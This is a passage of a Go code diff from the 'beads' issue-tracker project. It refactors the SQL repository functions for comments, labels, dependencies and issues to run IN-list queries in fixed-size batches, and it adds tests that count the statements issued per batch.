byID, err = repo.fetchIssuesByIDs(s.Ctx(), ids, issuesFilterTables, types.IssueFilter{}) + s.Require().NoError(err) + calls := rec.reset() + s.Require().Len(calls, wantBatches+1, "%d fetch statements plus exactly one label hydration", wantBatches) + assertUnderCap("fetchIssuesByIDs (hydrating)", calls) + s.Contains(calls[len(calls)-1].query, "FROM labels", "the trailing statement is the single hydration") + for k, i := range seeded { + s.Require().NotNil(byID[ids[i]]) + s.Equal([]string{fmt.Sprintf("l%d", k)}, byID[ids[i]].Labels, "labels hydrated for %s", ids[i]) + } + }) + + s.Run("GetBlockingInfoOutbound", func() { + rec.reset() + info, err := deps.GetBlockingInfo(s.Ctx(), ids, domain.DepListOpts{}) + s.Require().NoError(err) + calls := rec.reset() + assertUnderCap("GetBlockingInfo (outbound)", calls) + s.Equal(wantBatches, countMatching(calls, "WHERE issue_id IN ("), "outbound leg: one statement per batch") + // ids[400] (batch 3) depends on ids[0] (batch 1), and ids[199] + // (batch 1) on ids[200] (batch 2): the edge is keyed by the + // depender, so both must appear in the merged map. + s.Require().Len(info.BlockedBy, 2, "the 'related' edge is not blocking and stays out") + s.Equal([]string{ids[0]}, info.BlockedBy[ids[n-1]]) + s.Equal([]string{ids[queryBatchSize]}, info.BlockedBy[ids[queryBatchSize-1]]) + s.Empty(info.Parent) + }) + + s.Run("GetBlockingInfoInbound", func() { + rec.reset() + info, err := deps.GetBlockingInfo(s.Ctx(), ids, domain.DepListOpts{}) + s.Require().NoError(err) + calls := rec.reset() + assertUnderCap("GetBlockingInfo (inbound)", calls) + s.Equal(wantBatches, countMatching(calls, "WHERE "+depTargetExpr+" IN ("), "inbound leg: one statement per batch") + // The inbound leg keys by the TARGET, which is the id the IN list + // constrains: ids[0] in batch 1 is blocked-target for a row whose + // other end sits in batch 3. + s.Require().Len(info.Blocks, 2) + s.Equal([]string{ids[n-1]}, info.Blocks[ids[0]]) + s.Equal([]string{ids[queryBatchSize-1]}, info.Blocks[ids[queryBatchSize]]) + }) + + s.Run("LoadStatusByID", func() { + repo := &dependencySQLRepositoryImpl{runner: rec} + idSet := make(map[string]struct{}, len(ids)) + for _, id := range ids { + idSet[id] = struct{}{} + } + rec.reset() + statusByID, err := repo.loadStatusByID(s.Ctx(), idSet) + s.Require().NoError(err) + calls := rec.reset() + assertUnderCap("loadStatusByID", calls) + s.Require().Len(calls, 2*wantBatches, "both planes, one statement per batch each") + s.Equal(wantBatches, countMatching(calls, "FROM issues WHERE id IN ("), "issues: one statement per batch") + s.Equal(wantBatches, countMatching(calls, "FROM wisps WHERE id IN ("), "wisps: one statement per batch") + // Rows from every batch AND from both planes merge into one map. + for _, i := range seeded { + s.Equal(types.StatusOpen, statusByID[ids[i]], "durable status for %s", ids[i]) + } + wisp := ids[queryBatchSize+50] + s.Equal(types.StatusOpen, statusByID[wisp], "the batch-2 wisp is read from the wisps table") + s.Len(statusByID, len(seeded)+1) + }) + + s.Run("LoadStatusByIDDuplicateAcrossTables", func() { + // Batching must not lose the cross-plane conflict: the id is in + // exactly one batch per table, so it is still recorded under issues + // before the wisps pass reaches it, whichever batch that is (the id + // set is a map, so its batch assignment is not fixed). + repo := &dependencySQLRepositoryImpl{runner: rec} + const dup = "bd-batch-dup" + s.seedIssueRow(dup) + s.seedWispRow(dup) + idSet := map[string]struct{}{dup: {}} + for _, id := range ids { + idSet[id] = struct{}{} + } + rec.reset() + _, err := repo.loadStatusByID(s.Ctx(), idSet) + s.Require().Error(err, "an id in both planes is still a conflict after batching") + s.Contains(err.Error(), "exists in both issues and wisps") + // The conflict aborts mid-run, so consume what it did issue (and + // hold it to the cap) rather than leaving it for the next subtest. + assertUnderCap("loadStatusByID (duplicate)", rec.reset()) + }) + + s.Run("EmptyInputIssuesNoStatement", func() { + _, err := comments.CountsByIssueIDs(s.Ctx(), nil, domain.CommentOpts{}) + s.Require().NoError(err) + _, err = labels.ListByIssueIDs(s.Ctx(), nil, domain.LabelOpts{}) + s.Require().NoError(err) + _, err = deps.CountsByIssueIDs(s.Ctx(), nil, domain.DepCountsOpts{}) + s.Require().NoError(err) + _, err = NewIssueSQLRepository(rec).GetByIDs(s.Ctx(), nil, domain.IssueTableOpts{}) + s.Require().NoError(err) + _, err = (&issueSQLRepositoryImpl{runner: rec}).fetchIssuesByIDs(s.Ctx(), nil, issuesFilterTables, types.IssueFilter{}) + s.Require().NoError(err) + _, err = deps.GetBlockingInfo(s.Ctx(), nil, domain.DepListOpts{}) + s.Require().NoError(err) + _, err = (&dependencySQLRepositoryImpl{runner: rec}).loadStatusByID(s.Ctx(), map[string]struct{}{}) + s.Require().NoError(err) + s.Empty(rec.reset()) + }) +} diff --git a/internal/storage/domain/db/comment.go b/internal/storage/domain/db/comment.go index 00e04f09a..dc2366b70 100644 --- a/internal/storage/domain/db/comment.go +++ b/internal/storage/domain/db/comment.go @@ -3,7 +3,6 @@ package db import ( "context" "fmt" - "strings" "time" "github.com/steveyegge/beads/internal/storage" @@ -31,76 +30,72 @@ func pickCommentTable(useWisps bool) string { func (r *commentSQLRepositoryImpl) CountsByIssueIDs(ctx context.Context, issueIDs []string, opts domain.CommentOpts) (map[string]int, error) { result := make(map[string]int) - if len(issueIDs) == 0 { - return result, nil - } - placeholders := make([]string, len(issueIDs)) - args := make([]any, len(issueIDs)) - for i, id := range issueIDs { - placeholders[i] = "?" - args[i] = id - } table := pickCommentTable(opts.UseWispsTable) - //nolint:gosec // G201: table is one of two hardcoded constants - q := fmt.Sprintf( - "SELECT issue_id, COUNT(*) FROM %s WHERE issue_id IN (%s) GROUP BY issue_id", - table, strings.Join(placeholders, ","), - ) - rows, err := r.runner.QueryContext(ctx, q, args...) - if err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: %w", err) - } - defer rows.Close() - - for rows.Next() { - var issueID string - var count int - if err := rows.Scan(&issueID, &count); err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: scan: %w", err) + err := forEachIDBatch(issueIDs, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) + //nolint:gosec // G201: table is one of two hardcoded constants + q := fmt.Sprintf( + "SELECT issue_id, COUNT(*) FROM %s WHERE issue_id IN (%s) GROUP BY issue_id", + table, placeholders, + ) + rows, err := r.runner.QueryContext(ctx, q, args...) + if err != nil { + return fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: %w", err) } - result[issueID] = count - } - if err := rows.Err(); err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: rows: %w", err) + defer rows.Close() + + for rows.Next() { + var issueID string + var count int + if err := rows.Scan(&issueID, &count); err != nil { + return fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: scan: %w", err) + } + result[issueID] = count + } + if err := rows.Err(); err != nil { + return fmt.Errorf("db: CommentSQLRepository.CountsByIssueIDs: rows: %w", err) + } + return nil + }) + if err != nil { + return nil, err } return result, nil } func (r *commentSQLRepositoryImpl) ListByIssueIDs(ctx context.Context, issueIDs []string, opts domain.CommentOpts) (map[string][]*types.Comment, error) { result := make(map[string][]*types.Comment) - if len(issueIDs) == 0 { - return result, nil - } - placeholders := make([]string, len(issueIDs)) - args := make([]any, len(issueIDs)) - for i, id := range issueIDs { - placeholders[i] = "?" - args[i] = id - } table := pickCommentTable(opts.UseWispsTable) - //nolint:gosec // G201: table is one of two hardcoded constants - q := fmt.Sprintf(` - SELECT id, issue_id, author, text, created_at - FROM %s - WHERE issue_id IN (%s) - ORDER BY issue_id, created_at ASC, id ASC - `, table, strings.Join(placeholders, ",")) - rows, err := r.runner.QueryContext(ctx, q, args...) - if err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: %w", err) - } - defer rows.Close() - - for rows.Next() { - var c types.Comment - if err := rows.Scan(&c.ID, &c.IssueID, &c.Author, &c.Text, &c.CreatedAt); err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: scan: %w", err) + err := forEachIDBatch(issueIDs, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) + //nolint:gosec // G201: table is one of two hardcoded constants + q := fmt.Sprintf(` + SELECT id, issue_id, author, text, created_at + FROM %s + WHERE issue_id IN (%s) + ORDER BY issue_id, created_at ASC, id ASC + `, table, placeholders) + rows, err := r.runner.QueryContext(ctx, q, args...) + if err != nil { + return fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: %w", err) } - cc := c - result[c.IssueID] = append(result[c.IssueID], &cc) - } - if err := rows.Err(); err != nil { - return nil, fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: rows: %w", err) + defer rows.Close() + + for rows.Next() { + var c types.Comment + if err := rows.Scan(&c.ID, &c.IssueID, &c.Author, &c.Text, &c.CreatedAt); err != nil { + return fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: scan: %w", err) + } + cc := c + result[c.IssueID] = append(result[c.IssueID], &cc) + } + if err := rows.Err(); err != nil { + return fmt.Errorf("db: CommentSQLRepository.ListByIssueIDs: rows: %w", err) + } + return nil + }) + if err != nil { + return nil, err } return result, nil } diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 128202eb7..53f09dffa 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -414,71 +414,75 @@ func (r *dependencySQLRepositoryImpl) ListByIssueIDs(ctx context.Context, issueI Outgoing: make(map[string][]*types.Dependency), Incoming: make(map[string][]*types.Dependency), } - if len(issueIDs) == 0 { - return result, nil - } - - idPlaceholders, idArgs := buildInPlaceholders(issueIDs) typeWhere, typeArgs := buildTypeFilter(opts.Types) table := pickDepTable(opts.UseWispsTable) - if opts.Direction == domain.DepDirectionBoth || opts.Direction == domain.DepDirectionOut { - //nolint:gosec // G201: table and depSelectColumns are hardcoded - q := fmt.Sprintf( - `SELECT %s FROM %s WHERE issue_id IN (%s)%s ORDER BY issue_id`, - depSelectColumns, table, idPlaceholders, typeWhere, - ) - args := combineArgs(idArgs, typeArgs) - if err := r.queryDeps(ctx, q, args, result.Outgoing, true); err != nil { - return domain.DepBulkResult{}, fmt.Errorf("db: DependencySQLRepository.ListByIssueIDs (out): %w", err) - } - } + err := forEachIDBatch(issueIDs, func(batch []string) error { + idPlaceholders, idArgs := buildInPlaceholders(batch) - if opts.Direction == domain.DepDirectionBoth || opts.Direction == domain.DepDirectionIn { - //nolint:gosec // G201: table, depSelectColumns, depTargetExpr are hardcoded - q := fmt.Sprintf( - `SELECT %s FROM %s WHERE %s IN (%s)%s ORDER BY issue_id`, - depSelectColumns, table, depTargetExpr, idPlaceholders, typeWhere, - ) - args := combineArgs(idArgs, typeArgs) - if err := r.queryDeps(ctx, q, args, result.Incoming, false); err != nil { - return domain.DepBulkResult{}, fmt.Errorf("db: DependencySQLRepository.ListByIssueIDs (in): %w", err) + if opts.Direction == domain.DepDirectionBoth || opts.Direction == domain.DepDirectionOut { + //nolint:gosec // G201: table and depSelectColumns are hardcoded + q := fmt.Sprintf( + `SELECT %s FROM %s WHERE issue_id IN (%s)%s ORDER BY issue_id`, + depSelectColumns, table, idPlaceholders, typeWhere, + ) + args := combineArgs(idArgs, typeArgs) + if err := r.queryDeps(ctx, q, args, result.Outgoing, true); err != nil { + return fmt.Errorf("db: DependencySQLRepository.ListByIssueIDs (out): %w", err) + } } - } + if opts.Direction == domain.DepDirectionBoth || opts.Direction == domain.DepDirectionIn { + //nolint:gosec // G201: table, depSelectColumns, depTargetExpr are hardcoded + q := fmt.Sprintf( + `SELECT %s FROM %s WHERE %s IN (%s)%s ORDER BY issue_id`, + depSelectColumns, table, depTargetExpr, idPlaceholders, typeWhere, + ) + args := combineArgs(idArgs, typeArgs) + if err := r.queryDeps(ctx, q, args, result.Incoming, false); err != nil { + return fmt.Errorf("db: DependencySQLRepository.ListByIssueIDs (in): %w", err) + } + } + return nil + }) + if err != nil { + return domain.DepBulkResult{}, err + } return result, nil } func (r *dependencySQLRepositoryImpl) CountsByIssueIDs(ctx context.Context, issueIDs []string, opts domain.DepCountsOpts) (map[string]*types.DependencyCounts, error) { result := make(map[string]*types.DependencyCounts) - if len(issueIDs) == 0 { - return result, nil - } for _, id := range issueIDs { result[id] = &types.DependencyCounts{} } - - idPlaceholders, idArgs := buildInPlaceholders(issueIDs) table := pickDepTable(opts.UseWispsTable) - //nolint:gosec // G201: table is one of two hardcoded constants - outQ := fmt.Sprintf( - `SELECT issue_id, COUNT(*) FROM %s WHERE issue_id IN (%s) AND type = 'blocks' GROUP BY issue_id`, - table, idPlaceholders, - ) - if err := scanCounts(ctx, r.runner, outQ, idArgs, result, func(c *types.DependencyCounts, n int) { c.DependencyCount = n }); err != nil { - return nil, fmt.Errorf("db: DependencySQLRepository.CountsByIssueIDs (out): %w", err) - } + err := forEachIDBatch(issueIDs, func(batch []string) error { + idPlaceholders, idArgs := buildInPlaceholders(batch) - //nolint:gosec // G201: table and depTargetExpr are hardcoded - inQ := fmt.Sprintf( - `SELECT %s AS depends_on_id, COUNT(*) FROM %s WHERE %s IN (%s) AND type = 'blocks' GROUP BY %s`, - depTargetExpr, table, depTargetExpr, idPlaceholders, depTargetExpr, - ) - if err := scanCounts(ctx, r.runner, inQ, idArgs, result, func(c *types.DependencyCounts, n int) { c.DependentCount = n }); err != nil { - return nil, fmt.Errorf("db: DependencySQLRepository.CountsByIssueIDs (in): %w", err) - } + //nolint:gosec // G201: table is one of two hardcoded constants + outQ := fmt.Sprintf( + `SELECT issue_id, COUNT(*) FROM %s WHERE issue_id IN (%s) AND type = 'blocks' GROUP BY issue_id`, + table, idPlaceholders, + ) + if err := scanCounts(ctx, r.runner, outQ, idArgs, result, func(c *types.DependencyCounts, n int) { c.DependencyCount = n }); err != nil { + return fmt.Errorf("db: DependencySQLRepository.CountsByIssueIDs (out): %w", err) + } + //nolint:gosec // G201: table and depTargetExpr are hardcoded + inQ := fmt.Sprintf( + `SELECT %s AS depends_on_id, COUNT(*) FROM %s WHERE %s IN (%s) AND type = 'blocks' GROUP BY %s`, + depTargetExpr, table, depTargetExpr, idPlaceholders, depTargetExpr, + ) + if err := scanCounts(ctx, r.runner, inQ, idArgs, result, func(c *types.DependencyCounts, n int) { c.DependentCount = n }); err != nil { + return fmt.Errorf("db: DependencySQLRepository.CountsByIssueIDs (in): %w", err) + } + return nil + }) + if err != nil { + return nil, err + } return result, nil } @@ -493,26 +497,41 @@ func (r *dependencySQLRepositoryImpl) GetBlockingInfo(ctx context.Context, issue } table := pickDepTable(opts.UseWispsTable) - idPlaceholders, idArgs := buildInPlaceholders(issueIDs) - //nolint:gosec // G201: table and depTargetExpr are hardcoded constants - outQ := fmt.Sprintf( - "SELECT issue_id, %s AS depends_on_id, type FROM %s WHERE issue_id IN (%s) AND type IN ('blocks', 'parent-child')", - depTargetExpr, table, idPlaceholders, - ) - outRows, err := r.scanBlockingRows(ctx, outQ, idArgs) - if err != nil { - return domain.BlockingInfo{}, fmt.Errorf("db: DependencySQLRepository.GetBlockingInfo: outbound: %w", err) - } + // Both legs are batched at queryBatchSize and their rows concatenated. + // Each leg keys its result by a column the IN list constrains — outbound + // by issue_id, inbound by the dependency target — and an id lands in + // exactly one batch, so every row that shares a key comes from the same + // batch and the merge below is unchanged by the split. + var outRows, inRows []blockingRow + err := forEachIDBatch(issueIDs, func(batch []string) error { + idPlaceholders, idArgs := buildInPlaceholders(batch) - //nolint:gosec // G201: table and depTargetExpr are hardcoded constants - inQ := fmt.Sprintf( - "SELECT issue_id, %s AS depends_on_id, type FROM %s WHERE %s IN (%s) AND type = 'blocks'", - depTargetExpr, table, depTargetExpr, idPlaceholders, - ) - inRows, err := r.scanBlockingRows(ctx, inQ, idArgs) + //nolint:gosec // G201: table and depTargetExpr are hardcoded constants + outQ := fmt.Sprintf( + "SELECT issue_id, %s AS depends_on_id, type FROM %s WHERE issue_id IN (%s) AND type IN ('blocks', 'parent-child')", + depTargetExpr, table, idPlaceholders, + ) + batchOut, err := r.scanBlockingRows(ctx, outQ, idArgs) + if err != nil { + return fmt.Errorf("db: DependencySQLRepository.GetBlockingInfo: outbound: %w", err) + } + outRows = append(outRows, batchOut...) + + //nolint:gosec // G201: table and depTargetExpr are hardcoded constants + inQ := fmt.Sprintf( + "SELECT issue_id, %s AS depends_on_id, type FROM %s WHERE %s IN (%s) AND type = 'blocks'", + depTargetExpr, table, depTargetExpr, idPlaceholders, + ) + batchIn, err := r.scanBlockingRows(ctx, inQ, idArgs) + if err != nil { + return fmt.Errorf("db: DependencySQLRepository.GetBlockingInfo: inbound: %w", err) + } + inRows = append(inRows, batchIn...) + return nil + }) if err != nil { - return domain.BlockingInfo{}, fmt.Errorf("db: DependencySQLRepository.GetBlockingInfo: inbound: %w", err) + return domain.BlockingInfo{}, err } statusIDs := make(map[string]struct{}) @@ -607,12 +626,19 @@ func (r *dependencySQLRepositoryImpl) loadStatusByID(ctx context.Context, idSet for id := range idSet { ids = append(ids, id) } - placeholders, args := buildInPlaceholders(ids) sourceByID := make(map[string]string, len(idSet)) + // Each table is read in ceil(len(ids)/queryBatchSize) statements. The + // cross-table duplicate check is unaffected: an id lands in exactly one + // batch per table, so it is still recorded under `issues` before the + // `wisps` pass reaches it. for _, table := range []string{"issues", "wisps"} { - //nolint:gosec // G201: table is a hardcoded constant - q := fmt.Sprintf("SELECT id, status FROM %s WHERE id IN (%s)", table, placeholders) - if err := r.scanStatusRows(ctx, q, args, table, statusByID, sourceByID); err != nil { + err := forEachIDBatch(ids, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) + //nolint:gosec // G201: table is a hardcoded constant + q := fmt.Sprintf("SELECT id, status FROM %s WHERE id IN (%s)", table, placeholders) + return r.scanStatusRows(ctx, q, args, table, statusByID, sourceByID) + }) + if err != nil { return nil, err } } diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 41962ef48..1f08abed5 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -567,35 +567,33 @@ func (r *issueSQLRepositoryImpl) Get(ctx context.Context, id string, opts domain } func (r *issueSQLRepositoryImpl) GetByIDs(ctx context.Context, ids []string, opts domain.IssueTableOpts) ([]*types.Issue, error) { - if len(ids) == 0 { - return nil, nil - } - placeholders := make([]string, len(ids)) - args := make([]any, len(ids)) - for i, id := range ids { - placeholders[i] = "?" - args[i] = id - } table := pickIssueTable(opts.UseWispsTable) - //nolint:gosec // G201: table is one of two hardcoded constants - q := fmt.Sprintf("SELECT %s FROM %s %s WHERE id IN (%s)", - issueSelectColumns, table, sqlbuild.LeaseJoin(table), strings.Join(placeholders, ",")) - rows, err := r.runner.QueryContext(ctx, q, args...) - if err != nil { - return nil, fmt.Errorf("db: GetByIDs: %w", err) - } - defer rows.Close() - var out []*types.Issue - for rows.Next() { - issue, err := scanIssue(rows) + err := forEachIDBatch(ids, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) + //nolint:gosec // G201: table is one of two hardcoded constants + q := fmt.Sprintf("SELECT %s FROM %s %s WHERE id IN (%s)", + issueSelectColumns, table, sqlbuild.LeaseJoin(table), placeholders) + rows, err := r.runner.QueryContext(ctx, q, args...) if err != nil { - return nil, fmt.Errorf("db: GetByIDs: scan: %w", err) + return fmt.Errorf("db: GetByIDs: %w", err) } - out = append(out, issue) - } - if err := rows.Err(); err != nil { - return nil, fmt.Errorf("db: GetByIDs: rows: %w", err) + defer rows.Close() + + for rows.Next() { + issue, err := scanIssue(rows) + if err != nil { + return fmt.Errorf("db: GetByIDs: scan: %w", err) + } + out = append(out, issue) + } + if err := rows.Err(); err != nil { + return fmt.Errorf("db: GetByIDs: rows: %w", err) + } + return nil + }) + if err != nil { + return nil, err } return out, nil } diff --git a/internal/storage/domain/db/issue_search.go b/internal/storage/domain/db/issue_search.go index f9122695c..c849668f7 100644 --- a/internal/storage/domain/db/issue_search.go +++ b/internal/storage/domain/db/issue_search.go @@ -182,33 +182,45 @@ func (r *issueSQLRepositoryImpl) fetchIssuesByIDs(ctx context.Context, ids []str return map[string]*types.Issue{}, nil } - placeholders, args := buildInPlaceholders(ids) + out := make(map[string]*types.Issue, len(ids)) + ordered := make([]*types.Issue, 0, len(ids)) + // One statement per batch, scan order concatenated across batches: an id + // lands in exactly one batch, so the merged map is what a single + // statement over all ids would have produced. The fetch itself carries no + // ORDER BY (callers order by their own id list, or by src), so the + // concatenation is as ordered as the single statement was. + err := forEachIDBatch(ids, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) - //nolint:gosec // G201: tables.Main is "issues" or "wisps"; placeholders are ?. - fetchSQL := fmt.Sprintf(`SELECT %s FROM %s %s WHERE id IN (%s)`, - issueSelectColumns, tables.Main, sqlbuild.LeaseJoin(tables.Main), placeholders) - rows, err := r.runner.QueryContext(ctx, fetchSQL, args...) + //nolint:gosec // G201: tables.Main is "issues" or "wisps"; placeholders are ?. + fetchSQL := fmt.Sprintf(`SELECT %s FROM %s %s WHERE id IN (%s)`, + issueSelectColumns, tables.Main, sqlbuild.LeaseJoin(tables.Main), placeholders) + rows, err := r.runner.QueryContext(ctx, fetchSQL, args...) + if err != nil { + return err + } + defer rows.Close() + + for rows.Next() { + issue, scanErr := scanIssue(rows) + if scanErr != nil { + return fmt.Errorf("scan: %w", scanErr) + } + out[issue.ID] = issue + ordered = append(ordered, issue) + } + if err := rows.Err(); err != nil { + return fmt.Errorf("rows: %w", err) + } + return nil + }) if err != nil { return nil, err } - out := make(map[string]*types.Issue, len(ids)) - ordered := make([]*types.Issue, 0, len(ids)) - for rows.Next() { - issue, scanErr := scanIssue(rows) - if scanErr != nil { - _ = rows.Close() - return nil, fmt.Errorf("scan: %w", scanErr) - } - out[issue.ID] = issue - ordered = append(ordered, issue) - } - - _ = rows.Close() - if err := rows.Err(); err != nil { - return nil, fmt.Errorf("rows: %w", err) - } - + // Hydration runs ONCE over every scanned row: hydrateIssues batches its + // own relation reads (wy-237yfi), so per-batch hydration would only add + // round trips. if err := r.hydrateIssues(ctx, ordered, tables, filter.IncludeDependencies, filter.SkipLabels); err != nil { return nil, fmt.Errorf("hydrate: %w", err) } @@ -361,30 +373,29 @@ func (r *issueSQLRepositoryImpl) hydrateIssues(ctx context.Context, issues []*ty //nolint:gosec // G201: labelTable is "labels" or "wisp_labels" (hardcoded by callers). func (r *issueSQLRepositoryImpl) getLabelsFromTable(ctx context.Context, labelTable string, ids []string) (map[string][]string, error) { result := make(map[string][]string) - for start := 0; start < len(ids); start += queryBatchSize { - end := start + queryBatchSize - if end > len(ids) { - end = len(ids) - } - placeholders, args := buildInPlaceholders(ids[start:end]) + err := forEachIDBatch(ids, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) rows, err := r.runner.QueryContext(ctx, fmt.Sprintf( `SELECT issue_id, label FROM %s WHERE issue_id IN (%s) ORDER BY issue_id, label`, labelTable, placeholders), args...) if err != nil { - return nil, fmt.Errorf("get labels from %s: %w", labelTable, err) + return fmt.Errorf("get labels from %s: %w", labelTable, err) } + defer rows.Close() for rows.Next() { var issueID, label string if err := rows.Scan(&issueID, &label); err != nil { - _ = rows.Close() - return nil, fmt.Errorf("get labels: scan: %w", err) + return fmt.Errorf("get labels: scan: %w", err) } result[issueID] = append(result[issueID], label) } - _ = rows.Close() if err := rows.Err(); err != nil { - return nil, fmt.Errorf("get labels: rows: %w", err) + return fmt.Errorf("get labels: rows: %w", err) } + return nil + }) + if err != nil { + return nil, err } return result, nil } @@ -392,31 +403,30 @@ func (r *issueSQLRepositoryImpl) getLabelsFromTable(ctx context.Context, labelTa //nolint:gosec // G201: depTable is "dependencies" or "wisp_dependencies" (hardcoded by callers). func (r *issueSQLRepositoryImpl) getDependencyRecordsFromTable(ctx context.Context, depTable string, ids []string) (map[string][]*types.Dependency, error) { result := make(map[string][]*types.Dependency) - for start := 0; start < len(ids); start += queryBatchSize { - end := start + queryBatchSize - if end > len(ids) { - end = len(ids) - } - placeholders, args := buildInPlaceholders(ids[start:end]) + err := forEachIDBatch(ids, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) rows, err := r.runner.QueryContext(ctx, fmt.Sprintf( `SELECT issue_id, %s AS depends_on_id, type, created_at, created_by, metadata, thread_id FROM %s WHERE issue_id IN (%s) ORDER BY issue_id`, depTargetExpr, depTable, placeholders), args...) if err != nil { - return nil, fmt.Errorf("get dep records from %s: %w", depTable, err) + return fmt.Errorf("get dep records from %s: %w", depTable, err) } + defer rows.Close() for rows.Next() { dep, scanErr := scanDepRow(rows) if scanErr != nil { - _ = rows.Close() - return nil, fmt.Errorf("get dep records: scan: %w", scanErr) + return fmt.Errorf("get dep records: scan: %w", scanErr) } result[dep.IssueID] = append(result[dep.IssueID], dep) } - _ = rows.Close() if err := rows.Err(); err != nil { - return nil, fmt.Errorf("get dep records: rows: %w", err) + return fmt.Errorf("get dep records: rows: %w", err) } + return nil + }) + if err != nil { + return nil, err } return result, nil } diff --git a/internal/storage/domain/db/issue_search_counts.go b/internal/storage/domain/db/issue_search_counts.go index 5a617cfc1..f04f63b0e 100644 --- a/internal/storage/domain/db/issue_search_counts.go +++ b/internal/storage/domain/db/issue_search_counts.go @@ -136,15 +136,11 @@ func readyHydrationFor(filter types.WorkFilter) sqlbuild.CountsHydration { // within per-statement limits (mirrors issueops.runReadyCountsInTx). func (r *issueSQLRepositoryImpl) fetchCountsByIDs(ctx context.Context, ids []string, tables filterTables, includeWispReverseDeps bool, hyd sqlbuild.CountsHydration) (map[string]*types.IssueWithCounts, error) { out := make(map[string]*types.IssueWithCounts, len(ids)) - for start := 0; start < len(ids); start += queryBatchSize { - end := start + queryBatchSize - if end > len(ids) { - end = len(ids) - } - countsSQL, args := sqlbuild.SearchCountsSQL(tables, ids[start:end], "", "", "", includeWispReverseDeps, hyd) + err := forEachIDBatch(ids, func(batch []string) error { + countsSQL, args := sqlbuild.SearchCountsSQL(tables, batch, "", "", "", includeWispReverseDeps, hyd) items, err := r.scanCountsQuery(ctx, tables, countsSQL, args, hyd) if err != nil { - return nil, err + return err } for _, iwc := range items { if iwc == nil || iwc.Issue == nil { @@ -152,6 +148,10 @@ func (r *issueSQLRepositoryImpl) fetchCountsByIDs(ctx context.Context, ids []str } out[iwc.Issue.ID] = iwc } + return nil + }) + if err != nil { + return nil, err } return out, nil } diff --git a/internal/storage/domain/db/label.go b/internal/storage/domain/db/label.go index 14e73a80c..8f196b873 100644 --- a/internal/storage/domain/db/label.go +++ b/internal/storage/domain/db/label.go @@ -152,36 +152,34 @@ func (r *labelSQLRepositoryImpl) List(ctx context.Context, issueID string, opts func (r *labelSQLRepositoryImpl) ListByIssueIDs(ctx context.Context, issueIDs []string, opts domain.LabelOpts) (map[string][]string, error) { result := make(map[string][]string) - if len(issueIDs) == 0 { - return result, nil - } - placeholders := make([]string, len(issueIDs)) - args := make([]any, len(issueIDs)) - for i, id := range issueIDs { - placeholders[i] = "?" - args[i] = id - } table := pickLabelTable(opts.UseWispsTable) - //nolint:gosec // G201: table is one of two hardcoded constants - q := fmt.Sprintf( - "SELECT issue_id, label FROM %s WHERE issue_id IN (%s) ORDER BY issue_id, label", - table, strings.Join(placeholders, ","), - ) - rows, err := r.runner.QueryContext(ctx, q, args...) - if err != nil { - return nil, fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: %w", err) - } - defer rows.Close() - - for rows.Next() { - var issueID, label string - if err := rows.Scan(&issueID, &label); err != nil { - return nil, fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: scan: %w", err) + err := forEachIDBatch(issueIDs, func(batch []string) error { + placeholders, args := buildInPlaceholders(batch) + //nolint:gosec // G201: table is one of two hardcoded constants + q := fmt.Sprintf( + "SELECT issue_id, label FROM %s WHERE issue_id IN (%s) ORDER BY issue_id, label", + table, placeholders, + ) + rows, err := r.runner.QueryContext(ctx, q, args...) + if err != nil { + return fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: %w", err) } - result[issueID] = append(result[issueID], label) - } - if err := rows.Err(); err != nil { - return nil, fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: rows: %w", err) + defer rows.Close() + + for rows.Next() { + var issueID, label string + if err := rows.Scan(&issueID, &label); err != nil { + return fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: scan: %w", err) + } + result[issueID] = append(result[issueID], label) + } + if err := rows.Err(); err != nil { + return fmt.Errorf("db: LabelSQLRepository.ListByIssueIDs: rows: %w", err) + } + return nil + }) + if err != nil { + return nil, err } return result, nil } diff --git a/internal/storage/domain/issue_delete.go b/internal/storage/domain/issue_delete.go index 32c77148f..832cfa9f6 100644 --- a/internal/storage/domain/issue_delete.go +++ b/internal/storage/domain/issue_delete.go @@ -287,8 +287,12 @@ func (u *issueUseCaseImpl) previewDelete(ctx context.Context, ids []string) (Del for _, iss := range fromIssues { preview.Issues[iss.ID] = iss } + // Only the WISPS table is optional here: this read is `FROM wisps LEFT + // JOIN leases`, so a blanket table-not-exist check reported a rig missing + // `leases` as a rig with no wisp plane and listed live wisps under + // NotFound (the WispPlaneIDs lesson, wy-237yfi). fromWisps, err := u.issueRepo.GetByIDs(ctx, ids, IssueTableOpts{UseWispsTable: true}) - if err != nil && !dberrors.IsTableNotExist(err) { + if err != nil && !dberrors.IsMissingTable(err, "wisps") { return preview, fmt.Errorf("previewDelete: load wisps: %w", err) } for _, iss := range fromWisps { @@ -383,8 +387,11 @@ func (u *issueUseCaseImpl) collectConnectedIssues( for _, iss := range fromIssues { out[iss.ID] = iss } + // As in previewDelete: the wisp read joins `leases`, and only a missing + // `wisps` table means "this rig has no wisp plane". Anything else left + // the neighbors unhydrated behind a nil error. fromWisps, err := u.issueRepo.GetByIDs(ctx, ids, IssueTableOpts{UseWispsTable: 